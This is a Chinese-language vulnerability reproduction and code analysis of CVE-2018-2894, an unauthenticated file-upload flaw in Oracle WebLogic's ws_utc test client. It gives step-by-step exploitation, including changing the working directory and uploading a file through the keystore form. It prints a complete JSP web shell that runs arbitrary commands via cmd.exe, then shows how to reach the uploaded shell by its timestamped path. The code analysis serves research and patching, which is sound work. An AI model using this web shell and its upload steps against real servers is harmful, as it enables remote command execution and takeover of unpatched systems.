CVE-2018-2894
漏洞影響版本：10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
下載地址：http://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_quick_Disk1_1of1.zip
漏洞復現
服務啟動后，訪問 http://localhost:7001/ws_utc/config.do
可以將當前的工作目錄為更改為其他目錄。以本地環境為例，可以部署到C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war下
選擇右邊的安全欄目，添加JKS Keystores上傳文件。假設chybeta.jsp內容如下：
page import="java.util.*,java.io.*,java.net.*"%>
METHOD="POST" NAME="myform" ACTION="">
TYPE="text" NAME="cmd">
TYPE="submit" VALUE="Send">
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n
");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
抓包獲取到時間戳為1531987145013，則上傳到的位置即config\keystore\1531987145013_chybeta.jsp
訪問http://localhost:7001/ws_utc/config/keystore/1531987145013_chybeta.jsp
簡要漏洞分析
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class:59:
public void changeWorkDir(String path) {
String[] oldPaths = this.getRelatedPaths();
if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
this.isWorkDirChangeable = false;
this.isWorkDirWritable = isDirWritable(path);
this.isWorkDirChangeable = true;
this.setTestClientWorkDir(path);
} else {
this.persistWorkDir(path);
this.init();
}
if (this.isWorkDirWritable) {
String[] newPaths = this.getRelatedPaths();
moveDirs(oldPaths, newPaths);
} else {
Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path.");
}
}
此函數用于改變工作目錄，但其中并未做任何檢測。
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class:181中：
@Path("/keystore")
@POST
@Produces({"application/xml", "application/json"})
@Consumes({"multipart/form-data"})
public Response editKeyStoreSettingByMultiPart(FormDataMultiPart formPartParams) {
if (!RequestUtil.isRequstedByAdmin(this.request)) {
return Response.status(Status.FORBIDDEN).build();
} else {
if (TestClientRT.isVerbose()) {
Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart");
}
String currentTimeValue = "" + (new Date()).getTime(); KeyValuesMapString, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue);
....
}
}
跟入ws-testpage-impl.jar!/com/oracle/webservices/testclient/core/ws/cdf/config/parameter/TestClientRT.class:31
public static String getKeyStorePath() {
return getConfigDir() + File.separator + "keystore";
}
得到要寫入的路徑storePath。
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/util/RSDataHelper.class:145:
public KeyValuesMapString, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix) {
...
if (attachName != null && attachName.trim().length() > 0) {
if (attachName != null && attachName.trim().length() != 0) {
attachName = this.refactorAttachName(attachName);
if (fileNamePrefix == null) {
fileNamePrefix = key;
}
String filename = (new File(storePath, fileNamePrefix + "_" + attachName)).getAbsolutePath();
kvMap.addValue(key, filename);
if (isExtactAttachment) {
this.saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
}
}
}
...
}
把上傳文件的內容傳到了storePath目錄里，文件名滿足fileNamePrefix + "_" + attachName。這過程沒有任何過濾和檢查：）…
條件：
需要知道部署應用的web目錄
ws_utc/config.do在開發模式下無需認證，在生產模式下需要認證。具體可見Oracle® Fusion Middleware Administering Web Services
Reference
http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ
| 
